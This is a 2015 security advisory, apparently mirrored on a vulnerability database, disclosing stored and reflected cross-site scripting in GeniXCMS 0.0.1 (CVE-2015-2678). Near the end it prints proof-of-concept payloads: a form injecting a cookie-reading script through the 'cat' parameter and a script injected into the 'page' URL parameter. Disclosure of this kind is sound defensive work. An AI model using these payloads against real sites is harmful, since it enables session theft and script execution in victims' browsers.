GeniXCMS v0.0.1 Persistent Script Insertion Vulnerability

🗓️ 10 Mar 2015 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 143 Views

GeniXCMS v0.0.1 Persistent Script Insertion Vulnerability in PHP based CMSF with impact of Cross-Site Scripting. Affected 'cat' POST parameter allows execution of arbitrary HTML/script code in user's browser

Reporter	Title	Published	Views	Family All 5
CNVD	Multiple Cross-Site Scripting Vulnerabilities in MetalGenix GeniXCMS	24 Mar 201500:00	–	cnvd
CVE	CVE-2015-2678	23 Mar 201516:00	–	cve
Cvelist	CVE-2015-2678	23 Mar 201516:00	–	cvelist
NVD	CVE-2015-2678	23 Mar 201516:59	–	nvd
Prion	Cross site scripting	23 Mar 201516:59	–	prion

<html><body><p>GeniXCMS v0.0.1 Persistent Script Insertion Vulnerability

Vendor: MetalGenix
Product web page: http://www.genixcms.org
Affected version: 0.0.1

Summary: GenixCMS is a PHP Based Content Management System and Framework (CMSF).
It's a simple and lightweight of CMSF. Very suitable for Intermediate PHP developer to
Advanced Developer. Some manual configurations are needed to make this application to
work.

Desc: Input passed to the 'cat' POST parameter is not properly sanitised before being
returned to the user. This can be exploited to execute arbitrary HTML and script code
in a user's browser session in context of an affected site.

Tested on: nginx/1.4.6 (Ubuntu)
           Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5233
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5233.php


05.03.2015

---


Stored:
-------


  </p>
<form action="http://localhost/genixcms/gxadmin/index.php?page=categories" method="POST">
<input name="parent" type="hidden" value="2"/>
<input name="cat" type="hidden" value='"&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;'/>
<input name="addcat" type="hidden" value=""/>
<input type="submit" value="Insert"/>
</form>
  




Reflected:
----------

http://localhost/genixcms/index.php?page=1<script>confirm("ZSL")</script>'
</body></html>

10 Mar 2015 00:00Current

6.1Medium risk

Vulners AI Score6.1

CVSS 24.3

EPSS0.14561